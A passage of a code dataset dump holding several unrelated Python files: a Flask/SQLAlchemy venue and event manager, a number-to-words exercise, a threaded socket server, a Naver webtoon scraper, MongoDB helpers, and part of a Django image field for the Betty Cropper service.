\n","sub_path":"wecontrolled-robot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"191128307","text":"from flask import Flask, render_template, url_for, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\n\nfrom sqlalchemy import func\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///blog.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass User(db.Model): #пользователь\n __tablename__ = 'users'\n login = db.Column(db.String(50), nullable=False, unique=True) # Логин\n password_hash = db.Column(db.String(100), nullable=False) # Пароль\n name = db.Column(db.String(100)) #ФИО\n dateb = db.Column(db.Integer(), nullable=True) #Дата рождения\n Number_Doc = db.Column(db.Integer(), nullable=False) #Номер паспорта\n id = db.Column(db.Integer(), primary_key=True, unique=True) # id сотрудника\n updated_on = db.Column(db.DateTime(), default=datetime.utcnow, onupdate=datetime.utcnow) # id Дата входа\n\n def __repr__(self):\n return \"<{}:{}>\".format(self.id, self.username)\n\n\nclass Owner(db.Model): #Владелец\n id = db.Column(db.Integer, primary_key=True)\n Nickname = db.Column(db.String(45), nullable=True) #Название\n Name = db.Column(db.String(45), nullable=True) #ФИО\n Type = db.Column(db.String(45), nullable=True) #Вид лица\n Number = db.Column(db.Integer, nullable=True) #Контактный телефон\n\n def __repr__(self):\n return '' % self.id\n\n\nclass Rep(db.Model): #Популярность\n id = db.Column(db.Integer, primary_key=True)\n Name_house = db.Column(db.String(45), nullable=True) #Название обьекта\n Mark = db.Column(db.Integer, nullable=False) #Отзыв\n When = db.Column(db.Integer, nullable=False) #Дата посещения\n Comment = db.Column(db.String(150), nullable=True) #Отзыв\n Count = db.Column(db.Integer, nullable=True) #Количество посещений\n\n def __repr__(self):\n return '' % self.id\n\n\nclass House(db.Model): #Объект\n id = db.Column(db.Integer, primary_key=True)\n Name = db.Column(db.String(45), nullable=True) #Название объекта\n Name_owner = db.Column(db.String(45), nullable=True) #Название владельца\n Type = db.Column(db.String(45), nullable=True) #Тип объекта\n Index = db.Column(db.String(45), nullable=True) #Адрес\n Slots = db.Column(db.Integer, nullable=True) #Количестов мест\n Status = db.Column(db.String(45), nullable=True) #Статус объекта\n Data_open = db.Column(db.Integer, nullable=True) #Дата открытия\n\n def __repr__(self):\n return '' % self.id\n\n \nclass Event(db.Model): #Мероприятия\n id = db.Column(db.Integer, primary_key=True)\n Name = db.Column(db.String(45), nullable=True) #Названи мероприятия\n Name_house = db.Column(db.String(45), nullable=True) #Название обьекта проведения\n Type = db.Column(db.String(45), nullable=True) #Вид мероприятия\n Data = db.Column(db.Integer, nullable=True) #Дата паосещения\n\n def __repr__(self):\n return '' % self.id\n\n\n\n@app.route('/')\ndef index():\n house = House.query.order_by(House.id.desc()).all()\n return render_template('house.html', house=house)\n\n\n@app.route('/house')\ndef houses():\n events = Event.query.order_by(Event.id.desc()).all()\n house = House.query.order_by(House.id.desc()).all()\n\n return render_template('house.html', house=house, events=events)\n\n\n@app.route('/house//rep')\ndef rep(id):\n house = House.query.order_by(House.id.desc()).all()\n rep = Rep.query.order_by(Rep.id.desc()).all()\n\n return render_template('rep.html', rep=rep, house=house)\n\n\n@app.route('/house//rep/delete')\ndef rep_delete(id):\n\n rep = Rep.query.get(id)\n\n try:\n db.session.delete(rep)\n db.session.commit()\n return redirect('/house>')\n except:\n return \"Не удалост удалить\"\n\n\n@app.route('/rep/')\ndef rep_detail(id):\n house = House.query.get(id)\n try:\n rep = Rep.query.order_by(Rep.id.desc()).all()\n return render_template('rep.html', house=house, events=events, rep=rep)\n except:\n house = House.query.get(id)\n rep = Rep.query.order_by(Rep.id.desc()).all()\n return render_template('rep.html', house=house, houses=houses, rep=rep)\n\n\n@app.route('/house/')\ndef house_detail(id):\n house = House.query.get(id)\n houses = House.query.order_by(House.id.desc()).all()\n try:\n\n rep = Rep.query.order_by(Rep.id.desc()).all()\n event = Event.query.order_by(Event.id.desc()).all()\n events = Event.query.order_by(Event.id.desc()).all()\n return render_template('house_datail.html', house=house, houses=houses, event=event, events=events, rep=rep)\n except:\n event = Event.query.order_by(Event.id.desc()).all()\n rep = Rep.query.order_by(Rep.id.desc()).all()\n return render_template('house_datail.html', house=house, houses=houses, event=event, rep=rep)\n\n\n#@app.route('/add_house', methods=['GET', 'POST'])\n#def add_house():\n# if request.method == \"POST\":\n# Name = request.form['Name']\n# Type = request.form['Type']\n# Index = request.form['Index']\n# Slots = request.form['Slots']\n# Status = request.form['Status']\n# Name_owner = request.form['Name_owner']\n#\n# house = House(Name=Name, Type=Type, Index=Index, Slots=Slots, Status=Status, Name_owner=Name_owner)\n#\n# try:\n# db.session.add(house)\n# db.session.commit()\n# return redirect('/house')\n# except:\n# return \"Не удалось добавить обьект\"\n#\n# else:\n# return render_template('add_house.html')\n\n\n@app.route('/house//update', methods=['GET','POST'])\ndef house_update(id):\n house = House.query.get(id)\n event = Event.query.get(id)\n rep = Rep.query.get(id)\n if request.method == \"POST\":\n house.Name = request.form['Name']\n house.Type = request.form['Type']\n house.Index = request.form['Index']\n house.Slots = request.form['Slots']\n house.Status = request.form['Status']\n house.Data_open = request.form['Data_open']\n house.Name_owner = request.form['Name_owner']\n try:\n event.Name_house = request.form['Name']\n except:\n pass\n try:\n rep.Name_house = request.form['Name']\n except:\n pass\n\n try:\n db.session.commit()\n return redirect('/house')\n except:\n return \"При редактировании произошла ошибка\"\n else:\n rep = Rep.query.get(id)\n house = House.query.get(id)\n return render_template('house_update.html', house=house, rep=rep)\n\n\n@app.route('/house//delete')\ndef house_delete(id):\n house = House.query.get_or_404(id)\n\n try:\n db.session.delete(house)\n db.session.commit()\n return redirect('/rep>')\n except:\n return \"При удалении произошла ошибка\"\n\n\n@app.route('/house//add_event', methods=['GET', 'POST'])\ndef house_add_event(id):\n house = House.query.get(id)\n if request.method == \"POST\":\n Name = request.form['Name']\n Type = request.form['Type']\n Name_house = request.form['Name_house']\n Data = request.form['Data']\n\n event = Event(Name=Name, Type=Type, Name_house=Name_house, Data=Data)\n\n try:\n db.session.add(event)\n db.session.commit()\n return redirect('/house')\n except:\n return \"Не удалось добавить мероприятие\"\n\n else:\n house = House.query.get(id)\n return render_template('add-event.html',house=house)\n\n\n@app.route('/house//add_rep', methods=['GET', 'POST'])\ndef house_add_rep(id):\n house = House.query.get(id)\n if request.method == \"POST\":\n Name_house = request.form['Name_house']\n Mark = request.form['mark']\n Comment = request.form['comment']\n When = request.form['When']\n\n rep = Rep(Mark=Mark, Comment=Comment, Name_house=Name_house, When=When)\n\n try:\n db.session.add(rep)\n db.session.commit()\n return redirect('/house')\n except:\n return \"Не удалось добавить оценку\"\n else:\n return render_template('add_rep.html', house=house)\n\n\n@app.route('/posts')\ndef posts():\n owners = Owner.query.order_by(Owner.id.desc()).all()\n return render_template('posts.html', owners=owners)\n\n\n@app.route('/posts//post')\ndef post(id):\n owner = Owner.query.get(id)\n house = House.query.order_by(House.id.desc()).all()\n owners = Owner.query.order_by(Owner.id.desc()).all()\n return render_template('post.html', owners=owners, house=house, owner=owner)\n\n\n@app.route('/posts/')\ndef post_detail(id):\n owner = Owner.query.get(id)\n house = House.query.get(id)\n houses = House.query.order_by(House.id.desc()).all()\n owners = Owner.query.order_by(Owner.id.desc()).all()\n return render_template('post_datail.html', owner=owner, house=house, houses=houses, owners=owners)\n\n\n@app.route('/posts//delete')\ndef post_delete(id):\n owner = Owner.query.get_or_404(id)\n\n try:\n db.session.delete(owner)\n db.session.commit()\n return redirect('/posts')\n except:\n return \"При удалении произошла ошибка\"\n\n\n@app.route('/posts//plus_event', methods=['GET','POST'])\ndef post_plus_event(id):\n owner = Owner.query.get(id)\n house = House.query.order_by(House.id.desc()).all()\n if request.method == \"POST\":\n owner.house = request.form['house']\n try:\n db.session.commit()\n return redirect('/posts')\n except:\n return \"Не удалось добавить обьект\"\n else:\n return render_template('plus_event.html', owner=owner, house=house)\n\n\n@app.route('/posts//update', methods=['GET','POST'])\ndef post_update(id):\n owner = Owner.query.get(id)\n if request.method == \"POST\":\n owner.Name = request.form['Name']\n owner.Nickname = request.form['Nickname']\n owner.Type = request.form['Type']\n owner.Number = request.form['Number']\n\n\n try:\n db.session.commit()\n return redirect('/posts')\n except:\n return \"При редактировании произошла ошибка\"\n else:\n owner = Owner.query.get(id)\n return render_template('post_update.html', owner=owner)\n\n\n@app.route('/posts//add_house', methods=['GET', 'POST'])\ndef add_house(id):\n if request.method == \"POST\":\n Name = request.form['Name']\n Type = request.form['Type']\n Index = request.form['Index']\n Slots = request.form['Slots']\n Status = request.form['Status']\n Name_owner = request.form['Name_owner']\n Data_open = request.form['Data_open']\n\n house = House(Name=Name, Type=Type, Index=Index, Slots=Slots, Status=Status, Name_owner=Name_owner, Data_open=Data_open)\n\n try:\n db.session.add(house)\n db.session.commit()\n return redirect('/posts')\n except:\n return \"Не удалось добавить обьект\"\n\n else:\n owner = Owner.query.order_by(Owner.id.desc()).all()\n return render_template('add_house.html',owner=owner)\n\n@app.route('/create-owner', methods=['GET','POST'])\ndef create_owner():\n if request.method == \"POST\":\n Name = request.form['Name']\n Nickname = request.form['Nickname']\n Type = request.form['Type']\n Number = request.form['Number']\n\n owner = Owner(Name=Name, Nickname=Nickname, Type=Type, Number=Number)\n try:\n db.session.add(owner)\n db.session.commit()\n return redirect('/posts')\n except:\n return \"Не удалось отправить владельца\"\n else:\n return render_template('create-owner.html')\n\n\n@app.route('/events')\ndef events():\n event = Event.query.order_by(Event.id.desc()).all()\n return render_template('events.html', event=event)\n\n\n#@app.route('/add-event', methods=['GET', 'POST'])\n#def add_events():\n# if request.method == \"POST\":\n# Name = request.form['Name']\n# Type = request.form['Type']\n# Name_house = request.form['Name_house']\n#\n# event = Event(Name=Name, Type=Type, Name_house=Name_house)\n#\n# try:\n# db.session.add(event)\n# db.session.commit()\n# return redirect('/events')\n# except:\n# return \"Не удалось добавить мероприятие\"\n#\n# else:\n# return render_template('add-event.html')\n\n\n@app.route('/events/')\ndef event_detail(id):\n event = Event.query.get(id)\n return render_template('event_datail.html', event=event)\n\n\n@app.route('/events//delete')\ndef event_delete(id):\n event = Event.query.get_or_404(id)\n\n try:\n db.session.delete(event)\n db.session.commit()\n return redirect('/events')\n except:\n return \"При удалении произошла ошибка\"\n\n\n@app.route('/events//update', methods=['GET','POST'])\ndef event_update(id):\n event = Event.query.get(id)\n if request.method == \"POST\":\n event.Name = request.form['Name']\n event.Type = request.form['Type']\n event.Data = request.form['Data']\n\n try:\n db.session.commit()\n return redirect('/events')\n except:\n return \"При редактировании произошла ошибка\"\n else:\n event = Event.query.get(id)\n return render_template('event_update.html', event=event)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397911763","text":"__author__ = 'benedek balazs'\n\n\n# https://www.checkio.org/mission/speechmodule/\n\n\ndict = {1 : \"one\", 2 : \"two\", 3 : \"three\", 4 : \"four\", 5 : \"five\", \\\n 6 : \"six\", 7 : \"seven\", 8 : \"eight\", 9 : \"nine\", 10 : \"ten\", \\\n 11 : \"eleven\", 12 : \"twelve\", 13 : \"thirteen\", 14 : \"fourteen\", 15 : \"fifteen\", \\\n 16 : \"sixteen\", 17 : \"seventeen\", 18 : \"eighteen\", 19 : \"nineteen\", 20 : \"twenty\", \\\n 30 : \"thirty\", 40 : \"fourty\", 50 : \"fifty\", 60 : \"sixty\", 70 : \"seventy\", \\\n 80 : \"eighty\", 90 : \"ninety\", 100 : \"hundred\"}\n\n\ndef check_if_integer(number):\n return str(number).isdigit()\n\n\ndef check_number_is_in_range(number):\n return 0 < number < 1000\n\n\ndef get_2_digits_length_numbers_as_text(number_as_string):\n first_char = number_as_string[0]\n if first_char == \"1\":\n second_char = number_as_string[1]\n first_digit = int(first_char)\n second_digit = int(second_char)\n result = first_digit * 10 + second_digit\n result_text = dict.get(result)\n else:\n first_digit = int(first_char + \"0\")\n first_digit_as_text = dict.get(first_digit)\n second_char = number_as_string[1]\n second_digit = int(second_char)\n second_digit_as_text = dict.get(second_digit)\n result_text = first_digit_as_text + \" \" + second_digit_as_text\n return result_text\n\n\ndef get_3_digits_length_numbers_as_text(number_as_string):\n first_char = number_as_string[0]\n first_digit = int(first_char)\n first_digit_as_text = dict.get(first_digit)\n first_digit_as_text += \" hundred\"\n rest_digits_as_text = number_as_string[1:]\n rest_digits_as_text = get_2_digits_length_numbers_as_text(rest_digits_as_text)\n return first_digit_as_text + \" \" + rest_digits_as_text\n\n\ndef get_number_as_text(number):\n if not check_if_integer(number):\n print(\"Parameter should be integer!\")\n return\n if not check_number_is_in_range(number):\n print(\"Number should be between 0 and 1000\")\n return\n number_string = str(number)\n if len(number_string) == 3:\n return get_3_digits_length_numbers_as_text(number_string)\n if len(number_string) == 2:\n return get_2_digits_length_numbers_as_text(number_string)\n if len(number_string) == 1:\n return dict.get(number)\n return\n\n\nprint(get_number_as_text(117))\nprint(get_number_as_text(999))\nprint(get_number_as_text(1001))\nprint(get_number_as_text(1))\nprint(get_number_as_text(0))\nprint(get_number_as_text(15))\nprint(get_number_as_text(25))\nprint(get_number_as_text(-25))","sub_path":"Coding_Dojo/week_2b/checkio_speech_module_01.py","file_name":"checkio_speech_module_01.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"12009503","text":"#!/usr/bin/env python3\nimport socket\nfrom threading import Thread\nimport server as serverfunctions\n\n#Clase con el hilo para atender a los clientes.\n#En el constructor recibe el socket con el cliente y los datos del cliente para escribir por pantalla\nclass Cliente(Thread):\n def __init__(self, socket_cliente, datos_cliente):\n Thread.__init__(self)\n self.socket = socket_cliente\n self.datos = datos_cliente\n\n # Bucle para atender al cliente.\n def run(self):\n # Bucle indefinido hasta que el cliente envie \"adios\"\n # seguir = True\n # while seguir:\n # Espera por datos\n peticion = self.socket.recv(1000)\n\n # Contestacion\n # if (\"exit\"!=peticion.decode()):\n print (str(self.datos)+ \" dice: \"+peticion.decode())\n [code, msg] = serverfunctions.receive(peticion.decode())\n # Integridad Correcta\n # if(code == 0):\n # else:\n\n print(msg)\n self.socket.send(msg.encode())\n # Contestacion y cierre a \"exit\"\n # if (\"exit\"==peticion.decode()):\n # print (str(self.datos)+ \" pide cerrar la conexión\")\n # self.socket.send(\"Cerrando la conexión\".encode())\n self.socket.close()\n print (\"Conexión cerrada con \"+str(self.datos))\n # seguir = False\n\n\n\n\nif __name__ == '__main__':\n # Aseguramos que el sistema está instalado\n serverfunctions.initialize_db()\n # Se prepara el servidor\n server = socket.socket()\n server.bind((\"\", 8000))\n server.listen(1)\n print (\"Esperando conexiones...\")\n\n # bucle para atender clientes\n while 1:\n # Se espera a un cliente\n socket_cliente, datos_cliente = server.accept()\n # Se escribe su informacion\n print (\"Conexión establecida con \"+str(datos_cliente))\n # Se crea la clase con el hilo y se arranca.\n hilo = Cliente(socket_cliente, datos_cliente)\n hilo.start()\n","sub_path":"PAI2/server/socket_server.py","file_name":"socket_server.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614983587","text":"import os\nfrom urllib import parse\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass Episode:\n def __init__(self, webtoon_id, no, url_thumbnail,\n title, rating, created_date):\n self.webtoon_id = webtoon_id\n self.no = no\n self.url_thumbnail = url_thumbnail\n self.title = title\n self.rating = rating\n self.created_date = created_date\n\n @property\n def url(self):\n\n url = 'http://comic.naver.com/webtoon/detail.nhn?'\n params = {\n 'titleId': self.webtoon_id,\n 'no': self.no,\n }\n\n episode_url = url + parse.urlencode(params)\n return episode_url\n\n\n# 클래스는 클래스 내부에서 독립적인 scope를 가지고 있기 때문에 self를 이용해서 접근해야 한다.\nclass Webtoon:\n def __init__(self, webtoon_id):\n self.webtoon_id = webtoon_id\n self._title = None\n self._author = None\n self._description = None\n self.episode_list = list()\n self._html = ''\n\n # 인스턴스에서 title속성값이 없으면 인스턴스 set_info()를 호출해서 해당 속성을 채워준다.\n # 이후 인스턴스의 title값 리턴\n # 프로포티를 사용하는 이유 여기서 프로포티를 사용하는 이유는 편의성 떄문이다.\n # 만약 프로포티를 사용하면 함수를 호출하는 듯한 느낌이 아닌 속성을 이용하듯이 하니깐 걱정이 없다.\n def _get_info(self, attr_name):\n if not getattr(self, attr_name):\n self.set_info()\n return getattr(self, attr_name)\n\n @property\n def title(self):\n return self._get_info('_title')\n\n @property\n def author(self):\n return self._get_info('_author')\n\n @property\n def description(self):\n return self._get_info('_description')\n\n # set_info()를 실행해서 값을 체워준다.\n # self.set_info()\n # self.html을 빈문자열로 만든다 그렇게 되면 이제 class 인스턴스에 추가 될 수 있는데 html 함수에서 만약에\n # get_html에 만약에 self.html에 아무 것도 없으면 없다면 밑에 경로 추가 하는 조건문이 실행되고 거기서 나옴 html이 이제\n # self.html에 들어 가게된다.\n # 초기화함수에서 _title, _author, description을 None으로 지정한다. 그리고 밑에 set_info 함수에서 채울수 있도록 한다.\n # 그 이유는 초기화 함수에서 다 할당하게 되면 꼬여 있기 때문이다.\n\n# static method 와 instance method의 경정적 차이 해당 매서드의 첫번째 매겨 변수가 자신으로 들어오거나 아니거나의 차이\n # 인수를 받지 않는 함수는 property로 설정 할 수 있다. 그래서 get_html을 property로 바 꿀 수 있다.\n # property 로 지정한 get_html을 속성 처럼 쓰기위해서 html로 바꾸고 싶은데 이미 초기화 함수에서 self.html에서 사용되니 _(언더스코어)\n # 한개를 앞에 붙여서 (getter)로 만들어 버린다.\n\n @property\n def html(self):\n if not self._html:\n # 인스턴스의 html속성값이 False(빈문자열) 일 경우우\n file_path = 'data/_episode_list-{webtoon_id}._html'.format(webtoon_id=self)\n url_episode_list = 'http://comic.naver.com/webtoon/list.nhn'\n params = {\n 'titleId': self,\n }\n if os.path.exists(file_path):\n html = open(file_path, 'rt').read()\n else:\n response = requests.get(url_episode_list, params)\n print(response.url)\n html = response.text\n html = open(file_path, 'wt').write(html)\n self._html = html\n return self._html\n # 여기서 self.html의 인덴트가 여기인 이유는 함수의 리턴값이기 때문이다.\n\n# 함수는 값을 리턴한다. 그렇기 때문에 함수 자체만을 실행하는 것은 의미가 없고 리턴된 값을 받는 변수가 있어야 한다.\n def set_info(self):\n \"\"\"\n 자신의 html속성을 파싱한 결과를 사용해\n 자신��� _title, _author, _description 속성 값을 할당\n :return:\n \"\"\"\n\n soup = BeautifulSoup(self.html, 'lxml')\n\n h2_title = soup.select_one('div.detail > h2')\n title = h2_title.contents[0].strip()\n author = h2_title.contents[1].get_text(strip=True)\n description = soup.select_one('div.detail > p').get_text(strip=True)\n\n # 여기서 self._title,_author,description이 None이였던 것이 set_info 함수의 결과로 채워진다.\n # 자신의 속성들을 지정\n self._title = title\n self._author = author\n self._description = description\n\n def crawl_episode_list(self):\n \"\"\"\n 자기 자신의 webtoon_id에 해당하는 HTML문서에서 Episode 목록을 생성\n :return:\n \"\"\"\n soup = BeautifulSoup(self.html, 'lxml')\n\n table = soup.select_one('table.viewList')\n\n tr_list = table.select('tr')\n\n episode_list = list()\n\n for index, tr in enumerate(tr_list[1:]):\n if tr.get('class'):\n continue\n\n url_thumbnail = tr.select_one('td:nth-of-type(1) img').get('src')\n from urllib import parse\n url_detail = tr.select_one('td:nth-of-type(1) > a').get('href')\n query_string = parse.urlsplit(url_detail).query\n query_dict = parse.parse_qs(query_string)\n no = query_dict['no'][0]\n\n title = tr.select_one('td:nth-of-type(2) > a').get_text(strip=True)\n rating = tr.select_one('td:nth-of-type(3) strong').get_text(strip=True)\n created_date = tr.select_one('td:nth-of-type(4)').get_text(strip=True)\n\n new_episode = Episode(\n webtoon_id=self.webtoon_id,\n no=no,\n url_thumbnail=url_thumbnail,\n title=title,\n rating=rating,\n created_date=created_date,\n )\n\n episode_list.append(new_episode)\n self.episode_list = episode_list\n\n\nif __name__ == '__main__':\n webtoon1 = Webtoon(703845)\n print(webtoon1.title)\n print(webtoon1.author)\n print(webtoon1.description)\n # 안됨 왜 안되는지 확인 불가능....\n '''\n Traceback (most recent call last):\n File \"yesican.py\", line 158, in \n print(webtoon1.title)\n File \"yesican.py\", line 51, in title\n return self._get_info('_title')\n File \"yesican.py\", line 46, in _get_info\n self.set_info()\n File \"yesican.py\", line 102, in set_info\n soup = BeautifulSoup(self.html, 'lxml')\n File \"/home/wooyong/.pyenv/versions/fc-crawler3/lib/python3.6/site-packages/bs4/__init__.py\", line 192, in __init__\n elif len(markup) <= 256 and (\nTypeError: object of type 'int' has no len() '''","sub_path":"yesican.py","file_name":"yesican.py","file_ext":"py","file_size_in_byte":6944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180072474","text":"import os, datetime\nimport time\nimport configparser\nfrom pymongo import MongoClient\n\nconfig = configparser.ConfigParser()\ndir_path = os.path.dirname(os.path.realpath(__file__))\nconfig.read(dir_path+'/../config.ini')\n\n# Mongo\nmongodb = config['db']['mongodb']\nmongoport = int(config['db']['mongoport'])\ncve_collection = config['db']['cve_collection']\nmongo_database = config['db']['mongodatabase']\n\ndef save_to_mongo(collection, data, db_server = mongodb, port = mongoport, db_name = mongo_database):\n mongoclient = MongoClient(db_server,port)\n db = mongoclient[db_name]\n coll = db[collection]\n try:\n if type(data) == type([]):\n result = coll.insert_many(data)\n return result.inserted_ids\n elif type(data) == type({}):\n result = coll.insert_one(data)\n return result.inserted_id\n else:\n return False\n except Exception as e:\n if str(e) != 'documents must be a non-empty list':\n print(' ',e)\n log(' '+str(e))\n return False\n# save_to_mongo('collection', {'id':'myid'})\n\ndef replace_in_mongo(collection,find, data, db_server = mongodb, port = mongoport, db_name = mongo_database):\n mongoclient = MongoClient(db_server,port)\n db = mongoclient[db_name]\n coll = db[collection]\n try:\n replaced = coll.replace_one(find,data)\n return replaced.matched_count, replaced.modified_count\n except Exception as e:\n print(' ',e)\n log(' '+str(e))\n return False\n# replace_in_mongo('collection', {'id':'myid'}, {'id':'myid22'})\n\ndef read_from_mongo(collection, find = None, db_server = mongodb, port = mongoport, db_name = mongo_database):\n mongoclient = MongoClient(db_server,port)\n db = mongoclient[db_name]\n coll = db[collection]\n return list(coll.find(find))\n# read_from_mongo('collection', {'id':'myid'})\n\ndef delete_from_mongo(collection, find = None, db_server = mongodb, port = mongoport, db_name = mongo_database):\n mongoclient = MongoClient(db_server,port)\n db = mongoclient[db_name]\n coll = db[collection]\n try:\n deleted = coll.delete_many(find)\n return deleted.deleted_count\n except Exception as e:\n print(' ',e)\n log(' '+str(e))\n return False\n return False\n# delete_from_mongo('collection', {'id':'myid'})\n\n# log function\ndef log(log_message):\n now = datetime.datetime.now()\n current_time = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n with open('duga_log.log', 'a') as fp:\n fp.write(current_time+\" \"+log_message+'\\n')\n#log(\"first log message\")\n\ndef now_formatted():\n '''\n get time as below format\n 08/23/2020, 17:32:26\n '''\n now = datetime.datetime.now()\n return now.strftime(\"%m/%d/%Y, %H:%M:%S\")\n\nprint(read_from_mongo('cpe', {\"cpe_value\" : \"cpe:2.3:h:intel:nuc_kit_nuc7i5bnh:-:*:*:*:*:*:*:*\"}))","sub_path":"backend/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"412764448","text":"import requests\n\nfrom django import forms\n\ntry: # Django < 1.5 doesn't have checks, so we'll just ignore that.\n from django.core import checks\nexcept ImportError:\n pass\n\nfrom django.utils import six\nfrom django.utils.encoding import smart_text\nfrom django.core import exceptions\nfrom django.core.cache import cache\nfrom django.db.models.fields import Field\nfrom django.core.files.base import File\nfrom django.db.models.fields.files import FieldFile, FileDescriptor\nfrom django.utils.translation import ugettext_lazy as _\n\n\nfrom betty.storage import BettyCropperStorage\n\ndefault_storage = BettyCropperStorage()\n\n\nfrom south.modelsinspector import add_introspection_rules\nadd_introspection_rules([], [\"^betty\\.cropped\\.fields\\.ImageField\"])\n\n\nraise DeprecationWarning(\"betty.cropped is deprecated. Please use betty-cropper-django instead.\") # noqa\n\n\nclass ImageFieldFile(FieldFile):\n \n def __init__(self, instance, field, id):\n super(ImageFieldFile, self).__init__(instance, field, None)\n self.id = id\n self._name = None\n\n def __bool__(self):\n return bool(self.id)\n\n def __nonzero__(self):\n return bool(self.id)\n\n @property\n def name(self):\n if not self.id:\n return None\n\n cache_key = \"betty-cropper-names-{0}\".format(self.id)\n self._name = self._name or cache.get(cache_key)\n if not self._name:\n\n detail_url = \"{base_url}/api/{id}\".format(base_url=self.field.storage.base_url, id=self.id)\n response = requests.get(detail_url, headers=self.field.storage.auth_headers)\n self._name = response.json()[\"name\"]\n cache.set(cache_key, self._name)\n\n return self._name\n\n @name.setter\n def name(self, value):\n pass\n\n @property\n def alt(self):\n if self.field.alt_field:\n return getattr(self.instance, self.field.alt_field)\n return None\n\n @alt.setter\n def alt(self, value):\n setattr(self.instance, self.field.alt_field, value)\n\n @property\n def caption(self):\n if self.field.caption_field:\n return getattr(self.instance, self.field.caption_field)\n return None\n\n @caption.setter\n def caption(self, value):\n setattr(self.instance, self.field.caption_field, value)\n\n def __unicode__(self):\n return smart_text(self.id)\n\n def __eq__(self, other):\n # Older code may be expecting FileField values to be simple strings.\n # By overriding the == operator, it can remain backwards compatibility.\n if hasattr(other, 'id'):\n return self.id == other.id\n return self.id == other\n\n def __hash__(self):\n return hash(self.id)\n\n def save(self, name, content, save=True):\n self.id = self.storage.save(name, content)\n self._name = name\n setattr(self.instance, self.field.name, self)\n\n # Update the filesize cache\n self._committed = True\n\n # Save the object because it has changed, unless save is False\n if save:\n self.instance.save()\n save.alters_data = True\n\n def delete(self, save=True):\n raise NotImplemented(\"You can't delete a remote image this way\")\n\n def get_crop_url(self, ratio=\"original\", width=600, format=\"jpg\"):\n return self.storage.url(self.id, ratio=ratio, width=width, format=format)\n\n\nclass ImageDescriptor(FileDescriptor):\n \"\"\"A custom descriptor for a Betty Cropper image\n\n This is almost an exact replica of the FileDescriptor class, with\n the notable exception that it works using an integer as an initial\n value, rather than a string.\"\"\"\n\n def __get__(self, instance=None, owner=None):\n if instance is None:\n raise AttributeError(\n \"The '%s' attribute can only be accessed from %s instances.\"\n % (self.field.name, owner.__name__))\n\n file = instance.__dict__[self.field.name]\n if isinstance(file, int) or file is None:\n attr = self.field.attr_class(instance, self.field, file)\n instance.__dict__[self.field.name] = attr\n\n elif isinstance(file, File) and not isinstance(file, ImageFieldFile):\n file_copy = self.field.attr_class(instance, self.field, file.name)\n file_copy.file = file\n file_copy._committed = False\n instance.__dict__[self.field.name] = file_copy\n\n elif isinstance(file, FieldFile) and not hasattr(file, 'field'):\n file.instance = instance\n file.field = self.field\n file.storage = self.field.storage\n\n # That was fun, wasn't it?\n return instance.__dict__[self.field.name]\n\n\nclass ImageField(Field):\n \"\"\"Mostly just a clone of FileField, but with some betty-specific functionality\n\n Unfortunately, this can't be a subcalss of FileField, or else Django will\n freak out that this is a FileField and doesn't have an upload_to value\"\"\"\n\n attr_class = ImageFieldFile\n descriptor_class = ImageDescriptor\n description = _(\"ImageField\")\n\n def __init__(self, verbose_name=None, name=None, storage=None, caption_field=None, alt_field=None, **kwargs):\n self._primary_key_set_explicitly = 'primary_key' in kwargs\n self._unique_set_explicitly = 'unique' in kwargs\n self.caption_field, self.alt_field = caption_field, alt_field\n\n self.storage = storage or default_storage\n if \"default\" not in kwargs:\n kwargs[\"default\"] = None\n super(ImageField, self).__init__(verbose_name, name, **kwargs)\n\n def check(self, **kwargs):\n errors = super(ImageField, self).check(**kwargs)\n errors.extend(self._check_unique())\n errors.extend(self._check_primary_key())\n return errors\n\n def _check_unique(self):\n if self._unique_set_explicitly:\n return [\n checks.Error(\n \"'unique' is not a valid argument for a %s.\" % self.__class__.__name__,\n hint=None,\n obj=self,\n id='fields.E200',\n )\n ]\n else:\n return []\n\n def _check_primary_key(self):\n if self._primary_key_set_explicitly:\n return [\n checks.Error(\n \"'primary_key' is not a valid argument for a %s.\" % self.__class__.__name__,\n hint=None,\n obj=self,\n id='fields.E201',\n )\n ]\n else:\n return []\n\n def deconstruct(self):\n name, path, args, kwargs = super(ImageField, self).deconstruct()\n if self.storage is not default_storage:\n kwargs['storage'] = self.storage\n if self.caption_field:\n kwargs[\"caption_field\"] = self.caption_field\n if self.alt_field:\n kwargs[\"alt_field\"] = self.alt_field\n return name, path, args, kwargs\n\n def get_internal_type(self):\n return \"IntegerField\"\n\n def get_prep_value(self, value):\n if value is None:\n return None\n return int(value)\n\n def get_prep_lookup(self, lookup_type, value):\n return super(ImageField, self).get_prep_lookup(lookup_type, value.id)\n\n def pre_save(self, model_instance, add):\n \"Returns field's value just before saving.\"\n image_file = super(ImageField, self).pre_save(model_instance, add)\n\n if isinstance(image_file, six.string_types):\n if image_file == \"\":\n return None\n raise exceptions.ValidationError(\"This field cannot be a string\")\n\n if image_file and not image_file._committed:\n # Commit the file to storage prior to saving the model\n image_file.save(image_file.name, image_file, save=False)\n return image_file.id\n\n def validate(self, value, model_instance):\n super(ImageField, self).validate(self, value, model_instance)\n try:\n int(value)\n except ValueError:\n exceptions.ValidationError(\"This field cannot be a string\")\n\n def contribute_to_class(self, cls, name):\n super(ImageField, self).contribute_to_class(cls, name)\n setattr(cls, self.name, 